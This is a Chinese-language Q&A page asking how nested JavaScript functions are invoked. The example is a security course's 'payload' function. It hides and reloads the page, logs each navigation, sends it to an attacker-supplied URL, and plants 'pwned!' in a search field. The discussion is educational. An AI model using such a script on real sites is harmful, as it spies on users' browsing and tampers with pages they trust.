在Javascript中传递数据和href作为函数参数

时间:2015-11-28 19:27:43

标签: javascript

我的课程的一部分我得到以下代码

function payload(attacker) {
            function log(data) {
                console.log($.param(data))
                $.get(attacker, data);
            }
            function proxy(href) {
                $("html").load(href, function(){
                    $("html").show();
                    log({event: "nav", uri: href});
                    $("#query").val("pwned!");
                });
            }
            $("html").hide();
            proxy("./");
        }

在函数logproxy中,如何调用参数?在后续代码中,只调用payload(attacker,但我不知道如何通过调用payload来调用其他两个函数。

我发现它们也是HTML标签,这是另一种只存在于Javascripts中的参数吗?

1 个答案:

答案 0 :(得分:2)

另外两个是内部功能;他们只是帮助payload完成工作,并且只在其范围内存在。请注意在函数定义的末尾如何调用proxy ?,将href设置为' ./'并加载一些东西,包括在控制台上转储一些信息(通过调用log)。那是如何调用其他函数的。没有什么神奇的事情发生。只需按照通话即可。